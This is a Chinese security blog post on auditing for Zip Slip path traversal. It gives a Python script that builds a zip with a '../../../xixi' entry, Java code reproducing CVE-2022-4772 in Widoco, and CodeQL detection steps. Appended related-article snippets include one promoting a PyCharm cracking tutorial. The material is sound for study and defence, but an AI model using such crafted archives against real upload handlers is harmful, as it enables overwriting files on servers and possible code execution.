Zip Slip漏洞审计实战
前言
最近看到许少的推有说到Zip Slip这个漏洞导致的RCE,其实我在代码审计的时候确实发现有不少功能模块都是使用ZIP来解压,其实还是在真实系统中经常见到的。

于是想着好久没有写过博客了,想借着这次机会更新一下吧,免得读者以为我在偷懒没学习了~
Zip Slip是什么漏洞
Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。
Java中较为常见的场景是上传压缩包进行解压的时候,后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换。如果结合系统特性和某些定时任务脚本,就可能导致RCE的执行,因此该漏洞也被标记为高危漏洞。
我从先知上TGAO师傅发布的文章里面公布的poc:
import zipfile if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
其中qqq.txt是需要压缩的文件,../../../xixi是该文件在压缩包中的名字
之后在Java中使用zipEntry.getName()等方法获取的就是../../../xixi这个字符串
更多的框架Zip-Slip漏洞可以在开源项目中找到:https://github.com/snyk/zip-slip-vulnerability
漏洞分析实战
java.util.zip.ZipEntry
该类是Jdk中自带的原生类,在TGAO师傅发布的文章中介绍到了,这里就不在赘述了

Widoco Zip-Slip(CVE-2022-4772)漏洞分析
漏洞描述
WIDOCO是一个用于记录本体的向导。帮助您通过在GUI中执行一系列步骤,自动发布和创建一个丰富的、定制的本体文档。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞点在src/main/java/widoco/WidocoUtils.java文件中,通过unZipIt函数可以将zip包中的文件写入到任意可写入的文件夹中,这将影响服务器的完整性。
漏洞定位
查看1.4.17版本和Github上Master最新的版本做对比

发现是在方法Unzipit中进行了修补
漏洞复现
首先添加Widoco有漏洞版本到项目依赖中
<dependencies>
<dependency>
<groupId>com.github.dgarijo</groupId>
<artifactId>Widoco</artifactId>
<version>v1.4.16</version>
</dependency>
</dependencies> [ ... ] <repositories>
<repository>
<id>jitpack.io</id>
<url>https://jitpack.io</url>
</repository>
</repositories>
运行poc.py,设置跨越到上级目录../xixi文件

再编写漏洞利用代码,模拟真实场景下压缩包解压的情况
package javaTest;
import widoco.WidocoUtils;
public class GST {
public static void main(String[] args){
String path = GST.class.getResource("/").toString();
System.out.println("path = " + path);
String resourceName = "/poc.zip";
String outputFolder = "E:\\work\\TempVuln\\tempDir";
WidocoUtils.unZipIt(resourceName,outputFolder);
System.out.println("Done");
}
}
执行后xixi文件就直接被解压到上级目录下,造成Zip-Slip漏洞

再来看看修复方案,是判断解压的路径和设置的目标主目录是否是相等的,如果不是则抛出异常

使用CodeQL发现漏洞
首先下载目标对应版本的项目,使用如下命令创建数据库
codeql database create qldb-test -l java
创建成功后会有successful的提示
之后使用database analyze进行分析
codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif
这里的路径是CWE的分析规则,挨个进行分析
在该目录会生成一个result.sarif文件,通过vscode的sarif viewer插件打开

打开sarif文件,从RULES一栏中可以看到zipslip的漏洞就发现了

如此的漏洞,在代码审计和系统中很多开发人员都不知道,也许随手就拿来用了

Reference
[2].https://github.com/snyk/zip-slip-vulnerability
[3].https://xz.aliyun.com/t/12081
[4].https://github.com/dgarijo/Widoco/pull/551
[5].https://vip.riskivy.com/detail/1607889173715488768
Zip Slip漏洞审计实战的更多相关文章
- PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含
超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...
- Linux安全漏洞审计工具Lynis
Linux安全漏洞审计工具Lynis Lynis是针对类Unix系统的审计工具,它支持Unix.Linux.FreeBSD.Mac OS多种操作系统.它能对系统实施大于400种测试,以发现39个方 ...
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- 原创QQ影音DLL劫持漏洞+动画实战教程
1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- 60cms Cookies欺骗漏洞审计
源码地址:https://files.cnblogs.com/files/ssooking/60cms.zip 运行60cms目录下的Netbox.exe即可开启Asp Web服务,默认端口80 环境 ...
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- PHP文件包含漏洞攻防实战
本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...
- csv注入漏洞原理&&实战
前言 为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例. 正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识 ...
随机推荐
- Localstorage、sessionStorage、cookie 的区别
共同点:都是保存在浏览器端.且同源的 区别: 1.cookie 数据始终在同源的 http 请求中携带(即使不需要),即 cookie 在浏览器和服务器 间来回传递,而 sessionStorage ...
- springboot+vue本地部署
springboot+vue本地部署 最近完成项目,需要部署到本地,期间遇到了一些问题,最后写下流程以作记录. springboot打包 这块的内容较为简单一般为在pom.xml中加入 <bui ...
- 运用TextSuite和TestRunner运行测试脚本
运用TextSuite和TestRunner运行测试脚本 import app.testcase.loginUI import unittest # mysuite = unittest.TestSu ...
- 使用powerdesigner连接MySQL并设置逆向工程
使用powerdesigner连接MySQL并设置逆向工程 环境:powerdesigner15.1 MySQL5.7 win10 X64 1.安装mysql-connector-odbc-5.3.8 ...
- 第一次写代码(Hellowold)
Helloword 新建一个code文件夹,存放代码 新建一个hava文件 文件后缀名为java 编写代码 java 1. public class Hello{ public static ...
- php对接java接口
1.php curl 传参形式 public function send($url,$postData){ $ch = curl_init(); $headers = array("Cont ...
- c++学习1 基础关键词
一 "const" 修饰变量 只能被初始化和读取,不能被赋值更改,且必需初始化,不初始化的话会因为读取到随机数而报错. example: const int date=100; c ...
- angular项目语言切换功能
1.NzI18nService服务 参考:https://ng.ant.design/docs/i18n/zh 2.ngx-translate插件 1)安装依赖 npm install @ngx-tr ...
- StarUML画用例图
好久没画图在StarUML里都找不到useCase了,记下来不然又忘了 右击Untitled->Add Diagram->UseCase Diagram,然后左边就有UseCase了就可以 ...
- Pycharm 2021.3 的激活破解教程,永久激活,亲测有效
关注公众号回复 pycharm 即可获取激活脚本和教程 更新时间 2022年1月20日. 不定时更新 激活码可在公众号中回复[激活码]获取.